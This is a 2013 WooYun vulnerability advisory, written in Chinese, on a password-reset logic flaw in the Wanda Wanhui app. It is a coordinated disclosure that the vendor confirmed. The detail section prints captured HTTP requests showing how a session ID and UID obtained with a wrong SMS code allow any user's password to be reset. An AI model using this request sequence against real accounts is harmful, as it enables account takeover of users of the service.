当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046038

漏洞标题:万达集团万汇网任意用户密码重置漏洞

相关厂商:大连万达集团股份有限公司

漏洞作者: se55i0n

提交时间:2013-12-15 18:03

修复时间:2014-01-29 18:04

公开时间:2014-01-29 18:04

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-15: 细节已通知厂商并且等待厂商处理中
2013-12-15: 厂商已经确认,细节仅向厂商公开
2013-12-25: 细节向核心白帽子及相关领域专家公开
2014-01-04: 细节向普通白帽子公开
2014-01-14: 细节向实习白帽子公开
2014-01-29: 细节向公众公开

简要描述:

前几天看了中国经济风云人物颁奖典礼,万达王健林和阿里马云天价赌局~1亿~~汗呀~~~万达终于试水电商~~~~这是万达进军电商的首个作品~~亲~~送2张电影票吧~“私人定制”要上了~:)

详细说明:

1)万汇网用户居然不能网页重置密码,这个用户体验不好呀~

5.png


2)看见有个万汇的客户端就果断下载了看看,发现在app端是可以直接通过短信验证重置用户密码的,简单试试呗~发现这里6位数字验证码未限制校验错误次数~

3.png


3)看到这里,如果各位以为这是暴力破解验证码重置用户密码,那你就错了~这里虽然可暴力破解验证码,但是这里验证码只能进行一次性验证~~感觉整个流程好像有哪里不对劲~于是我尝试进行了一次正常的重置密码的流程~并对过程进行抓包分析~
3.1)首先获取验证码,获取的验证码为:467251;
3.2)首先提交一个错误的验证码并抓包;

POST https://passport.wanhui.cn/wanhui_app/checkverify HTTP/1.1
Host: passport.wanhui.cn
Proxy-Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 92
Connection: close
Cookie: SESSIONID=ddhhe54fobqt3knjg3kj3qh0a3; UID=13121316034401032
User-Agent: 万汇 0.9 rv:35254 (iPhone; iPhone OS 7.0.4; zh_CN)
username=13xxxxxxx3&imei=abc955cxxxxxxxxxxxxxxfb5815c73c13bc&version=1&authcode=467250


3.3)再次提交正确的验证码并抓包;

POST https://passport.wanhui.cn/wanhui_app/checkverify HTTP/1.1
Host: passport.wanhui.cn
Proxy-Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 92
Connection: close
Cookie: PHPSESSID=ddhhe54fobqt3knjg3kj3qh0a3; SESSIONID=ddhhe54fobqt3knjg3kj3qh0a3; UID=13121316034401032
User-Agent: 万汇 0.9 rv:35254 (iPhone; iPhone OS 7.0.4; zh_CN)
username=13xxxxxxx3&imei=abc955cxxxxxxxxxxxxxxfb5815c73c13bc&version=1&authcode=467251


3.4)在app端提交了正确的验证码之后,便可以重新设置用户的密码,我们设置密码并抓包;

POST https://passport.wanhui.cn/wanhui_app/resetpasswd HTTP/1.1
Host: passport.wanhui.cn
Proxy-Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 72
Connection: close
Cookie: PHPSESSID=ddhhe54fobqt3knjg3kj3qh0a3; SESSIONID=ddhhe54fobqt3knjg3kj3qh0a3; PHPSESSID=ddhhe54fobqt3knjg3kj3qh0a3; SESSIONID=ddhhe54fobqt3knjg3kj3qh0a3; UID=13121316034401032
User-Agent: 万汇 0.9 rv:35254 (iPhone; iPhone OS 7.0.4; zh_CN)
imei=abc955cxxxxxxxxxxxxxxfb5815c73c13bc&version=1&newpasswd=123qwe


4)通过分析上面的4个步骤,发现原来是酱紫的~

4.1)在app端无论用户提交什么6位数字验证码,其实在获取验证码的时候,系统已经在app端生成了一个SESSIONID和手机号码对应的用户UID(见3.2中Cookie);
4.2)app端的验证码只是控制手机用户有没权限提交下个阶段的请求而已(见3.4);
4.3)通过分析对比3.2、3.3、3.4相信大家都一目了然了,在3.4 Cookie中的所有值都已经在3.2中得到了,通过构造请求即可完成该用户的密码重置,而不需要知道用户的真实验证码是多少


5)通过上面的分析,我们再次来进行验证(肯定是用我自己的帐号);
5.1)首先获取验证码,然后随意输入一个6位数字验证码提交并抓包,获取对应帐号的SESSIONID和UID,如下;

POST https://passport.wanhui.cn/wanhui_app/checkverify HTTP/1.1
Host: passport.wanhui.cn
Proxy-Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 92
Connection: close
Cookie: PHPSESSID=7a0on2uscdec298gh1nd0au6c3; SESSIONID=9o1gemfhfa289n7f8vnp42tki4; UID=13121316034401032
User-Agent: 万汇 0.9 rv:35254 (iPhone; iPhone OS 7.0.4; zh_CN)
username=136xxxxxxxx3&imei=abc955xxxxxxxxxxxxxxc73c13bc&version=1&authcode=111111


5.2)有了用户的SESSIONID和UID直接构造请求修改用户密码;

4.png


6)使用新密码即可成功登陆用户帐号;
PS:哈哈,圣诞快乐~求礼物

漏洞证明:

见详细说明

修复方案:

调整验证机制

版权声明:转载请注明来源 se55i0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-12-15 19:49

厂商回复:

感谢se55i0n同学的关注与贡献! 此洞目测存在,需要和业务同事探讨解决方案。 谢谢!老规矩,私信联系取得礼物!

最新状态:

暂无